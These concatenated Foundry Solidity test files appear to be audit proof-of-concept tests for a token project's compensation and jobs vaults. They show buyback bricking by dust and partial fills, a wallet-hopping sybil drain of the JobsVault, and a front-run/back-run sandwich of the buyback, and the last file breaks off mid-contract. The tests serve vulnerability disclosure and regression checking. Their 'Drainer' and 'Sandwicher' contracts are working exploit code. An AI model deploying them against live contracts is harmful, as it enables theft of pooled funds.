// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IUnlockCallback} from "v4-core/src/interfaces/callback/IUnlockCallback.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {Currency} from "v4-core/src/types/Currency.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {BalanceDelta, BalanceDeltaLibrary} from "v4-core/src/types/BalanceDelta.sol";
import {SIMDVault} from "src/SIMDVault.sol";
import {CompensationVault} from "src/CompensationVault.sol";
import {Network} from "src/Network.sol";

contract ProofToken is ERC20 {
    constructor() ERC20("T", "T") {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

contract ProofFactory {
    PoolKey private key;
    address private requester;

    function configure(PoolKey memory key_, address requester_) external {
        key = key_;
        requester = requester_;
    }

    function positionOf(uint64) external view returns (PoolKey memory, int24, int24, address) {
        return (key, -600, 600, requester);
    }

    function claimFees(uint64) external pure returns (uint256, uint256) {
        return (0, 0);
    }
}

contract ProofSeeder is IUnlockCallback {
    using BalanceDeltaLibrary for BalanceDelta;

    IPoolManager private immutable manager;

    constructor(IPoolManager manager_) {
        manager = manager_;
    }

    function seed(PoolKey memory key, uint128 amount) external {
        manager.unlock(abi.encode(key, amount));
    }

    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        require(msg.sender == address(manager));
        (PoolKey memory key, uint128 amount) = abi.decode(data, (PoolKey, uint128));
        (BalanceDelta delta,) = manager.modifyLiquidity(
            key,
            IPoolManager.ModifyLiquidityParams({
                tickLower: -600, tickUpper: 600, liquidityDelta: int256(uint256(amount)), salt: bytes32(0)
            }),
            ""
        );
        pay(key.currency0, delta.amount0());
        pay(key.currency1, delta.amount1());
        return "";
    }

    function pay(Currency c, int128 delta) private {
        if (delta < 0) {
            manager.sync(c);
            IERC20(Currency.unwrap(c)).transfer(address(manager), uint256(-int256(delta)));
            manager.settle();
        }
    }
}

/// @notice A 10 wei IMD donation (anti-sniper fee of 0) makes every buyback tranche a 1 wei swap.
/// In Uniswap v4 a 1 wei exact-input swap with a 0.3% fee is consumed entirely as fee and returns
/// zero output, so buyback() reverts with InvalidSwap forever and airdrop() can never run.
contract DustTrancheBrickTest is Test {
    ProofToken internal imd;
    ProofToken internal token;
    SIMDVault internal vault;
    CompensationVault internal compensation;
    PoolKey internal key;

    function setUp() public {
        vm.chainId(4663);
        vm.warp(1_800_000_000);
        vm.roll(30_000_000);
        vm.etch(Network.IMD, address(new ProofToken()).code);
        vm.etch(Network.FACTORY, address(new ProofFactory()).code);
        imd = ProofToken(Network.IMD);
        address tokenAddress = address(0x1000);
        vm.etch(tokenAddress, address(new ProofToken()).code);
        token = ProofToken(tokenAddress);
        deployCodeTo("PoolManager.sol:PoolManager", abi.encode(address(this)), Network.POOL_MANAGER);
        IPoolManager manager = IPoolManager(Network.POOL_MANAGER);
        key = PoolKey({
            currency0: Currency.wrap(tokenAddress),
            currency1: Currency.wrap(Network.IMD),
            fee: 3000,
            tickSpacing: 60,
            hooks: IHooks(address(0))
        });
        manager.initialize(key, uint160(1 << 96));
        ProofSeeder seeder = new ProofSeeder(manager);
        imd.mint(address(seeder), 1e27);
        token.mint(address(seeder), 1e27);
        seeder.seed(key, 1e26);
        vault = new SIMDVault();
        compensation = vault.compensationVault();
        ProofFactory(Network.FACTORY).configure(key, address(vault));
        vm.prank(Network.DEV);
        vault.bindLaunch(7, tokenAddress);
    }

    function testTenWeiDonationMustNotBlockTheAirdropForever() public {
        // The 10% supply allocation is already in the vault; the anti-sniper fee was zero.
        token.mint(address(compensation), 1000 ether);
        // Anyone sends 10 wei of IMD before the first buyback call.
        imd.mint(address(compensation), 10);
        vm.warp(compensation.buybackAvailableAt());

        // Give the buyback every chance: ten attempts, ten minutes apart, then a long wait.
        for (uint256 i; i < 10; ++i) {
            try compensation.buyback() {} catch {}
            vm.warp(vm.getBlockTimestamp() + 10 minutes);
        }
        vm.warp(vm.getBlockTimestamp() + 30 days);
        try compensation.buyback() {} catch {}

        // The compensation must still be distributable: airdrop must be callable.
        address[] memory accounts = new address[](1);
        uint256[] memory weights = new uint256[](1);
        bytes32[][] memory proofs = new bytes32[][](1);
        accounts[0] = address(0xBEEF);
        weights[0] = 1;
        proofs[0] = new bytes32[](0);
        compensation.airdrop(accounts, weights, proofs);
        assertTrue(compensation.buybackComplete(), "buyback never finishes: 1 wei tranches revert forever");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IUnlockCallback} from "v4-core/src/interfaces/callback/IUnlockCallback.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {Currency} from "v4-core/src/types/Currency.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {BalanceDelta, BalanceDeltaLibrary} from "v4-core/src/types/BalanceDelta.sol";
import {SIMDVault} from "src/SIMDVault.sol";
import {CompensationVault} from "src/CompensationVault.sol";
import {Network} from "src/Network.sol";

contract ProofToken2 is ERC20 {
    constructor() ERC20("T", "T") {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

contract ProofFactory2 {
    PoolKey private key;
    address private requester;

    function configure(PoolKey memory key_, address requester_) external {
        key = key_;
        requester = requester_;
    }

    function positionOf(uint64) external view returns (PoolKey memory, int24, int24, address) {
        return (key, -600, 600, requester);
    }

    function claimFees(uint64) external pure returns (uint256, uint256) {
        return (0, 0);
    }
}

contract ProofSeeder2 is IUnlockCallback {
    using BalanceDeltaLibrary for BalanceDelta;

    IPoolManager private immutable manager;

    constructor(IPoolManager manager_) {
        manager = manager_;
    }

    function seed(PoolKey memory key, uint128 amount) external {
        manager.unlock(abi.encode(key, amount));
    }

    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        require(msg.sender == address(manager));
        (PoolKey memory key, uint128 amount) = abi.decode(data, (PoolKey, uint128));
        (BalanceDelta delta,) = manager.modifyLiquidity(
            key,
            IPoolManager.ModifyLiquidityParams({
                tickLower: -600, tickUpper: 600, liquidityDelta: int256(uint256(amount)), salt: bytes32(0)
            }),
            ""
        );
        pay(key.currency0, delta.amount0());
        pay(key.currency1, delta.amount1());
        return "";
    }

    function pay(Currency c, int128 delta) private {
        if (delta < 0) {
            manager.sync(c);
            IERC20(Currency.unwrap(c)).transfer(address(manager), uint256(-int256(delta)));
            manager.settle();
        }
    }
}

/// @notice The launch position is a bounded range (positionOf returns tickLower/tickUpper). When a
/// 10% tranche is larger than the IMD the range can absorb, the swap stops at the range edge with
/// part of the input unconsumed; buyback() rejects that with InvalidSwap and retries the same
/// tranche size forever. The airdrop then never opens.
contract PartialFillBrickTest is Test {
    ProofToken2 internal imd;
    ProofToken2 internal token;
    SIMDVault internal vault;
    CompensationVault internal compensation;
    PoolKey internal key;

    function setUp() public {
        vm.chainId(4663);
        vm.warp(1_800_000_000);
        vm.roll(30_000_000);
        vm.etch(Network.IMD, address(new ProofToken2()).code);
        vm.etch(Network.FACTORY, address(new ProofFactory2()).code);
        imd = ProofToken2(Network.IMD);
        address tokenAddress = address(0x1000);
        vm.etch(tokenAddress, address(new ProofToken2()).code);
        token = ProofToken2(tokenAddress);
        deployCodeTo("PoolManager.sol:PoolManager", abi.encode(address(this)), Network.POOL_MANAGER);
        IPoolManager manager = IPoolManager(Network.POOL_MANAGER);
        key = PoolKey({
            currency0: Currency.wrap(tokenAddress),
            currency1: Currency.wrap(Network.IMD),
            fee: 3000,
            tickSpacing: 60,
            hooks: IHooks(address(0))
        });
        manager.initialize(key, uint160(1 << 96));
        ProofSeeder2 seeder = new ProofSeeder2(manager);
        imd.mint(address(seeder), 1e27);
        token.mint(address(seeder), 1e27);
        // Liquidity 1e20 over [-600, 600]: the range absorbs only about 3 IMD before it empties.
        seeder.seed(key, 1e20);
        vault = new SIMDVault();
        compensation = vault.compensationVault();
        ProofFactory2(Network.FACTORY).configure(key, address(vault));
        vm.prank(Network.DEV);
        vault.bindLaunch(7, tokenAddress);
    }

    function testTrancheLargerThanRangeCapacityMustNotBlockTheAirdropForever() public {
        token.mint(address(compensation), 1000 ether);
        // Anti-sniper fee: 1000 IMD, so each tranche is 100 IMD against a range holding ~3 IMD.
        imd.mint(address(compensation), 1000 ether);
        vm.warp(compensation.buybackAvailableAt());

        for (uint256 i; i < 10; ++i) {
            try compensation.buyback() {} catch {}
            vm.warp(vm.getBlockTimestamp() + 10 minutes);
        }
        vm.warp(vm.getBlockTimestamp() + 30 days);
        try compensation.buyback() {} catch {}

        address[] memory accounts = new address[](1);
        uint256[] memory weights = new uint256[](1);
        bytes32[][] memory proofs = new bytes32[][](1);
        accounts[0] = address(0xBEEF);
        weights[0] = 1;
        proofs[0] = new bytes32[](0);
        compensation.airdrop(accounts, weights, proofs);
        assertTrue(compensation.buybackComplete(), "partial fill reverts every tranche forever");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {JobsVault} from "src/JobsVault.sol";
import {Network} from "src/Network.sol";
import {IIntake} from "src/interfaces/IIntake.sol";

/// Finding: JobsVault.requestJob checks a spot balance and a per-address cooldown only. One
/// 1,000,000-token holding, moved between fresh wallets inside a single transaction, opens an
/// unbounded number of jobs and drains the JobsVault IMD in one block.
contract ProofToken is ERC20 {
    constructor() ERC20("Test", "TEST") {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

contract ProofIntake is IIntake {
    uint256 public nonce;
    uint256 public constant PRICE = 1 ether;

    function priceOf(bytes32, address) external pure returns (uint256) {
        return PRICE;
    }

    function request(bytes32, bytes calldata, Callback calldata, address asset, uint256 amount)
        external
        payable
        returns (bytes32 id)
    {
        require(amount == PRICE, "wrong amount");
        require(IERC20(asset).transferFrom(msg.sender, address(this), amount), "pull failed");
        id = keccak256(abi.encode(msg.sender, ++nonce));
    }
}

/// One fresh wallet: opens a job with the tokens it holds, then passes the same tokens on.
contract Hop {
    function run(JobsVault jobs, IERC20 tkn, address next, uint256 amount) external {
        try jobs.requestJob("job body") {} catch {}
        tkn.transfer(next, amount);
    }
}

contract Drainer {
    function drain(JobsVault jobs, IERC20 tkn, uint256 hops) external {
        uint256 amount = tkn.balanceOf(address(this));
        Hop current = new Hop();
        tkn.transfer(address(current), amount);
        for (uint256 i; i < hops; ++i) {
            Hop next = new Hop();
            current.run(jobs, tkn, address(next), amount);
            current = next;
        }
    }
}

contract JobsVaultHoldingHopTest is Test {
    JobsVault internal jobs;
    ProofToken internal token;
    ProofToken internal imd;
    Drainer internal drainer;

    function setUp() public {
        vm.chainId(4663);
        vm.warp(1_800_000_000);
        vm.roll(30_000_000);
        vm.etch(Network.IMD, address(new ProofToken()).code);
        vm.etch(Network.INTAKE, address(new ProofIntake()).code);
        imd = ProofToken(Network.IMD);
        token = new ProofToken();
        jobs = new JobsVault(address(this));
        jobs.setToken(address(token));
        drainer = new Drainer();
        token.mint(address(drainer), 1_000_000 ether); // exactly the minimum holding, once
        imd.mint(address(jobs), 20 ether); // 20 jobs' worth of IMD
    }

    function testOneHoldingCannotOpenMoreThanOneJobPerDay() public {
        uint256 before = imd.balanceOf(address(jobs));
        // Twenty wallets share the same 1,000,000 tokens in one transaction.
        drainer.drain(jobs, IERC20(address(token)), 20);
        uint256 spent = before - imd.balanceOf(address(jobs));
        // Intended: one holding of the minimum opens at most one job per 24 hours.
        assertLe(spent, 1 ether, "a single 1,000,000 holding paid for more than one job in one block");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {SIMDVault} from "src/SIMDVault.sol";
import {CompensationVault} from "src/CompensationVault.sol";
import {Network} from "src/Network.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IUnlockCallback} from "v4-core/src/interfaces/callback/IUnlockCallback.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {Currency} from "v4-core/src/types/Currency.sol";
import {BalanceDelta, BalanceDeltaLibrary} from "v4-core/src/types/BalanceDelta.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";

/// Finding: CompensationVault.buyback() swaps with no price bound and is callable by anyone, so the
/// caller can wrap each tranche in its own sandwich and take most of it. Uses the real v4 PoolManager.
contract SandwichToken is ERC20 {
    constructor() ERC20("Test", "TEST") {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

contract SandwichFactory {
    PoolKey private key;
    address public requester;

    function configure(PoolKey memory key_, address requester_) external {
        key = key_;
        requester = requester_;
    }

    function positionOf(uint64) external view returns (PoolKey memory, int24, int24, address) {
        return (key, -600, 600, requester);
    }

    function claimFees(uint64) external pure returns (uint256, uint256) {
        return (0, 0);
    }
}

/// Seeds liquidity and swaps, settling v4 deltas.
contract V4Actor is IUnlockCallback {
    using BalanceDeltaLibrary for BalanceDelta;

    IPoolManager internal immutable manager;

    constructor(IPoolManager manager_) {
        manager = manager_;
    }

    function seed(PoolKey memory key, uint128 liquidity) external {
        manager.unlock(abi.encode(uint8(0), key, liquidity, false));
    }

    function swapExactIn(PoolKey memory key, bool zeroForOne, uint256 amountIn) public {
        manager.unlock(abi.encode(uint8(1), key, uint128(amountIn), zeroForOne));
    }

    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        require(msg.sender == address(manager), "not manager");
        (uint8 kind, PoolKey memory key, uint128 amount, bool zeroForOne) =
            abi.decode(data, (uint8, PoolKey, uint128, bool));
        BalanceDelta delta;
        if (kind == 0) {
            (delta,) = manager.modifyLiquidity(
                key,
                IPoolManager.ModifyLiquidityParams({
                    tickLower: -887220,
                    tickUpper: 887220,
                    liquidityDelta: int256(uint256(amount)),
                    salt: bytes32(0)
                }),
                ""
            );
        } else {
            delta = manager.swap(
                key,
                IPoolManager.SwapParams({
                    zeroForOne: zeroForOne,
                    amountSpecified: -int256(uint256(amount)),
                    sqrtPriceLimitX96: zeroForOne ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1
                }),
                ""
            );
        }
        pay(key.currency0, delta.amount0());
        pay(key.currency1, delta.amount1());
        return "";
    }

    function pay(Currency c, int128 delta) private {
        if (delta < 0) {
            manager.sync(c);
            IERC20(Currency.unwrap(c)).transfer(address(manager), uint256(-int256(delta)));
            manager.settle();
        } else if (delta > 0) {
            manager.take(c, address(this), uint256(uint128(delta)));
        }
    }
}

contract Sandwicher is V4Actor {
    constructor(IPoolManager manager_) V4Actor(manager_) {}

    /// Front-run, trigger the vault's tranche, back-run: one transaction, no mempool needed.
    function attack(PoolKey memory key, CompensationVault vault, address imd, address tkn, uint256 frontRun)
        external
    {
        bool imdIsZero = Currency.unwrap(key.currency0) == imd;
        swapExactIn(key, imdIsZero, frontRun); // IMD -> TEST, price of TEST up
        try vault.buyback() {} catch {} // a fixed vault may revert here; the attack must then be a loss
        uint256 held = IERC20(tkn).balanceOf(address(this));
        swapExactIn(key, !imdIsZero, held); // TEST -> IMD
    }
}

contract BuybackSandwichTest is Test {
    SandwichToken internal imd;
    SandwichToken internal token;
    SandwichFactory internal factory;
    SIMDVault internal vault;
    CompensationVault internal compensation;
    PoolKey internal key;
    IPoolManager internal manager;

    function setUp() public {
        vm.chainId(4663);
        vm.warp(1_800_000_000);
        vm.roll(30_000_000);
        vm.etch(Network.IMD, address(new SandwichToken()).code);
        vm.etch(Network.FACTORY, address(new SandwichFactory()).code);
        deployCodeTo("PoolManager.sol:PoolManager", abi.encode(address(this)), Network.POOL_MANAGER);
        imd = SandwichToken(Network.IMD);
        factory = SandwichFactory(Network.FACTORY);
        manager = IPoolManager(Network.POOL_MANAGER);
        address tokenAddress = address(0x1000);
        vm.etch(tokenAddress, address(new SandwichToken()).code);
        token = SandwichToken(tokenAddress);
        key = PoolKey({
            currency0: Currency.wrap(tokenAddress < Network.IMD ? tokenAddress : Network.IMD),
            currency1: Currency.wrap(tokenAddress < Network.IMD ? Network.IMD : tokenAddress),
            fee: 3000,
            tickSpacing: 60,
            hooks: IHooks(address(0))
        });
        manager.initialize(key, uint160(1 << 96)); // 1 TEST = 1 IMD
        V4Actor seeder = new V4Actor(manager);
        imd.mint(address(seeder), 1e24);
        token.mint(address(seeder), 1e24);
        // Full-range liquidity with ~1,000 IMD and ~1,000 TEST of reserves: a thin launch pool.
        seeder.seed(key, 1_000 ether);
        vault = new SIMDVault();
        compensation = vault.compensationVault();
        factory.configure(key, address(vault));
        vm.prank(Network.DEV);
        vault.bindLaunch(1, tokenAddress);
        imd.mint(address(compensation), 1_000 ether); // tranche = 100 IMD
        vm.warp(compensation.buybackAvailableAt());
    }

    function testBuybackTrancheCannotBeSandwichedForProfit() public {
        Sandwicher attacker = new Sandwicher(manager);
        imd.mint(address(attacker), 500 ether);
        uint256 attackerBefore = imd.balanceOf(address(attacker));
        uint256 vaultImdBefore = imd.balanceOf(address(compensation));

        attacker.attack(key, compensation, Network.IMD, address(token), 500 ether);

        uint256 attackerAfter = imd.balanceOf(address(attacker));
        uint256 vaultSpent = vaultImdBefore - imd.balanceOf(address(compensation));
        uint256 vaultGot = token.balanceOf(address(compensation));
        emit log_named_uint("vault IMD spent", vaultSpent);
        emit log_named_uint("vault TEST received", vaultGot);
        emit log_named_int("attacker IMD profit", int256(attackerAfter) - int256(attackerBefore));
        // Intended: tranches are not sandwichable for much. At the pool's pre-call price (1:1) the
        // 100 IMD tranche is worth ~99.7 TEST; a bounded swap either fills near that or reverts.
        assertTrue(vaultSpent == 0 || vaultGot >= 90 ether, "tranche executed far below the pre-call price");
        assertLe(int256(attackerAfter) - int256(attackerBefore), int256(10 ether), "sandwicher profit exceeds 10% of the tranche");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {SIMDVault} from "src/SIMDVault.sol";
import {JobsVault} from "src/JobsVault.sol";
import {Network} from "src/Network.sol";
import {IIntake} from "src/interfaces/IIntake.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {Currency} from "v4-core/src/types/Currency.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";

contract ProofToken is ERC20 {
    constructor() ERC20("Proof", "PRF") {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

/// @dev Intake stand-in: a fixed price, pulled from the caller on every request.
contract ProofIntake is IIntake {
    uint256 public constant PRICE = 0.5 ether;
    uint256 public nonce;

    function priceOf(bytes32, address) external pure returns (uint256) {
        return PRICE;
    }

    function request(bytes32, bytes calldata, Callback calldata, address asset, uint256 amount)
        external
        payable
        returns (bytes32)
    {
        require(amount == PRICE, "price");
        require(IERC20(asset).transferFrom(msg.sender, address(this), amount), "pull");
        return keccak256(abi.encode(msg.sender, ++nonce));
    }
}

contract ProofFactory {
    PoolKey private key;
    address public requester;

    function configure(PoolKey memory key_, address requester_) external {
        key = key_;
        requester = requester_;
    }

    function positionOf(uint64) external view returns (PoolKey memory, int24, int24, address) {
        return (key, -600, 600, requester);
    }
}

/// @dev Just enough PoolManager for CompensationVault.setLaunch: an initialized slot0.
contract ProofManager {
    function extsload(bytes32) external pure returns (bytes32) {
        return bytes32(uint256(1 << 96));
    }
}

contract JobsSybilProof is Test {
    uint256 internal constant PRICE = 0.5 ether;
    SIMDVault internal vault;
    JobsVault internal jobs;
    ProofToken internal imd;
    ProofToken internal token;

    function setUp() public {
        vm.chainId(4663);
        vm.warp(1_800_000_000);
        vm.roll(30_000_000);
        vm.etch(Network.IMD, address(new ProofToken()).code);
        vm.etch(Network.INTAKE, address(new ProofIntake()).code);
        vm.etch(Network.FACTORY, address(new ProofFactory()).code);
        vm.etch(Network.POOL_MANAGER, address(new ProofManager()).code);
        imd = ProofToken(Network.IMD);
        token = new ProofToken();
        PoolKey memory key = PoolKey({
            currency0: Currency.wrap(address(token) < Network.IMD ? address(token) : Network.IMD),
            currency1: Currency.wrap(address(token) < Network.IMD ? Network.IMD : address(token)),
            fee: 3000,
            tickSpacing: 60,
            hooks: IHooks(address(0))
        });
        vault = new SIMDVault();
        jobs = vault.jobsVault();
        ProofFactory(Network.FACTORY).configure(key, address(vault));
        vm.prank(Network.DEV);
        vault.bindLaunch(1, address(token));
        imd.mint(address(jobs), 3 * PRICE);
    }

    /// @notice One holder of exactly 1,000,000 tokens moves the same tokens through fresh wallets in
    /// a single block and opens a job from each. The per-wallet 24-hour limit never applies, so the
    /// JobsVault pot is emptied by one actor in one transaction.
    function test_sameTokensCannotBuyMoreThanOneJobPerDay() public {
        address[3] memory wallets = [makeAddr("w1"), makeAddr("w2"), makeAddr("w3")];
        token.mint(wallets[0], 1_000_000 ether);
        bytes memory body = bytes('{"objective":"x","skill":"build-website"}');
        for (uint256 i; i < wallets.length; ++i) {
            vm.prank(wallets[i]);
            // A revert here is the fixed behaviour; it must not abort the sequence.
            (bool ok,) = address(jobs).call(abi.encodeCall(jobs.requestJob, (body)));
            ok;
            if (i + 1 < wallets.length) {
                vm.prank(wallets[i]);
                token.transfer(wallets[i + 1], 1_000_000 ether);
            }
        }
        // Expected: the same 1,000,000 tokens buy at most one job per 24 hours, so at most one price
        // leaves the vault in this block. Actual: all three prices leave, the pot is empty.
        assertGe(imd.balanceOf(address(jobs)), 2 * PRICE, "one holding bought several jobs in one block");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IUnlockCallback} from "v4-core/src/interfaces/callback/IUnlockCallback.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {Currency} from "v4-core/src/types/Currency.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {BalanceDelta, BalanceDeltaLibrary} from "v4-core/src/types/BalanceDelta.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {CompensationVault} from "src/CompensationVault.sol";
import {Network} from "src/Network.sol";

contract SandwichToken is ERC20 {
    constructor() ERC20("T", "T") {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

/// @dev Seeds one full-range position, like a launch pool that gives the token its whole upside.
contract Seeder is IUnlockCallback {
    using BalanceDeltaLibrary for BalanceDelta;

    IPoolManager private immutable manager;

    constructor(IPoolManager manager_) {
        manager = manager_;
    }

    function seed(PoolKey memory key, uint128 amount) external {
        manager.unlock(abi.encode(key, amount));
    }

    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        (PoolKey memory key, uint128 amount) = abi.decode(data, (PoolKey, uint128));
        (BalanceDelta delta,) = manager.modifyLiquidity(
            key,
            IPoolManager.ModifyLiquidityParams({
                tickLower: -887_220,
                tickUpper: 887_220,
                liquidityDelta: int256(uint256(amount)),
                salt: bytes32(0)
            }),
            ""
        );
        _pay(key.currency0, delta.amount0());
        _pay(key.currency1, delta.amount1());
        return "";
    }

    function _pay(Currency c, int128 delta) private {
        if (delta < 0) {
            manager.sync(c);
            IERC20(Currency.unwrap(c)).transfer(address(manager), uint256(-int256(delta)));
            manager.settle();
        }
    }
}

/// @dev One transaction: buy the launched token, let buyback() execute at the pushed price, sell back.
contract Sandwicher is IUnlockCallback {
    using BalanceDeltaLibrary for BalanceDelta;

    IPoolManager private immutable manager;
    CompensationVault private immutable vault;
    PoolKey private key;
    bool public buybackSucceeded;

    constructor(IPoolManager manager_, CompensationVault vault_, PoolKey memory key_) {
        manager = manager_;
        vault = vault_;
        key = key_;
    }

    function attack(uint256 imdIn) external {
        // front-run: IMD -> token
        manager.unlock(abi.encode(true, imdIn));
        // victim tranche at the manipulated price; a fixed contract reverts here and the attack
        // still has to pay its own round trip
        try vault.buyback() {
            buybackSucceeded = true;
        } catch {}
        // back-run: all token -> IMD
        manager.unlock(abi.encode(false, IERC20(Currency.unwrap(key.currency0)).balanceOf(address(this))));
    }

    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        (bool buy, uint256 amountIn) = abi.decode(data, (bool, uint256));
        // currency0 is the launched token, currency1 is IMD: buying the token is oneForZero
        bool zeroForOne = !buy;
        BalanceDelta delta = manager.swap(
            key,
            IPoolManager.SwapParams({
                zeroForOne: zeroForOne,
                amountSpecified: -int256(amountIn),
                sqrtPriceLimitX96: zeroForOne ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1
            }),
            ""
        );
        Currency input = zeroForOne ? key.currency0 : key.currency1;
        Currency output = zeroForOne ? key.currency1 : key.currency0;
        int128 inDelta = zeroForOne ? delta.amount0() : delta.amount1();
        int128 outDelta = zeroForOne ? delta.amount1() : delta.amount0();
        manager.sync(input);
        IERC20(Currency.unwrap(input)).transfer(address(manager), uint256(-int256(inDelta)));
        manager.settle();
        manager.take(output, address(this), uint256(uint128(outDelta)));
        return "";
    }
}

contract BuybackSandwichTest is Test {
    address internal constant TOKEN = address(0x1000); // below IMD so it is currency0
    SandwichToken internal imd;
    SandwichToken internal token;
    CompensationVault internal vault;
    PoolKey internal key;
    IPoolManager internal manager;

    function setUp() public {
        vm.chainId(4663);
        vm.warp(1_800_000_000);
        vm.roll(30_000_000);
        vm.etch(Network.IMD, address(new SandwichToken()).code);
        vm.etch(TOKEN, address(new SandwichToken()).code);
        imd = SandwichToken(Network.IMD);
        token = SandwichToken(TOKEN);
        deployCodeTo("PoolManager.sol:PoolManager", abi.encode(address(this)), Network.POOL_MANAGER);
        manager = IPoolManager(Network.POOL_MANAGER);
        key = PoolKey({
            currency0: Currency.wrap(TOKEN),
            currency1: Currency.wrap(Network.IMD),
            fee: 3000,
            tickSpacing: 60,
            hooks: IHooks(address(0))
        });
        manager.initialize(key, uint160(1 << 96)); // 1 token = 1 IMD
        Seeder seeder = new Seeder(manager);
        imd.mint(address(seeder), 2e24);
        token.mint(address(seeder), 2e24);
        seeder.seed(key, 1e24); // about 1,000,000 of each side in range at the current price

        vault = new CompensationVault(address(this));
        vault.setLaunch(TOKEN, key);
        imd.mint(address(vault), 1_000_000 ether); // the anti-sniper fee; tranche = 100,000 IMD
        vm.warp(vault.buybackAvailableAt());
    }

    /// @notice The brief: tranches mean "no single swap can be sandwiched for much". A caller who
    /// bundles the tranche between two swaps of their own takes most of it.
    function test_buybackTrancheIsSandwichedForMostOfItsValue() public {
        Sandwicher attacker = new Sandwicher(manager, vault, key);
        uint256 capital = 3_000_000 ether;
        imd.mint(address(attacker), capital);

        uint256 vaultImdBefore = imd.balanceOf(address(vault));
        attacker.attack(capital);

        uint256 spent = vaultImdBefore - imd.balanceOf(address(vault));
        uint256 received = token.balanceOf(address(vault));
        uint256 attackerProfit = imd.balanceOf(address(attacker)) > capital
            ? imd.balanceOf(address(attacker)) - capital
            : 0;
        emit log_named_uint("vault IMD spent", spent);
        emit log_named_uint("vault tokens received", received);
        emit log_named_uint("attacker IMD profit", attackerProfit);

        // At the pool's pre-attack price 1:1 the tranche of 100,000 IMD is worth ~99,000 tokens.
        // Expected: a caller cannot take more than a small slice (fees) of a tranche.
        assertEq(attackerProfit, 0, "a tranche caller must not profit from its own sandwich");
        if (spent != 0) {
            assertGe(received * 100, spent * 90, "vault should get at least 90% of fair value per tranche");
        }
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {JobsVault} from "src/JobsVault.sol";
import {IIntake} from "src/interfaces/IIntake.sol";
import {Network} from "src/Network.sol";

contract SybilToken is ERC20 {
    constructor() ERC20("T", "T") {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

/// @dev Minimal Intake: sells every action at one price, pulls the IMD, returns a fresh id.
contract SybilIntake is IIntake {
    uint256 public price;
    uint256 public nonce;
    uint256 public paid;

    function setPrice(uint256 price_) external {
        price = price_;
    }

    function priceOf(bytes32, address) external view returns (uint256) {
        return price;
    }

    function request(bytes32, bytes calldata, Callback calldata, address asset, uint256 amount)
        external
        payable
        returns (bytes32 id)
    {
        require(amount == price, "wrong price");
        require(IERC20(asset).transferFrom(msg.sender, address(this), amount));
        paid += amount;
        id = keccak256(abi.encode(msg.sender, ++nonce));
    }
}

/// @dev A throwaway address: receives the bag, opens one job, hands the bag back.
contract Sock {
    function run(JobsVault jobs, IERC20 token, address home) external {
        jobs.requestJob(bytes("{\"objective\":\"x\"}"));
        token.transfer(home, token.balanceOf(address(this)));
    }
}

contract JobsSybilTest is Test {
    SybilToken internal imd;
    SybilToken internal token;
    SybilIntake internal intake;
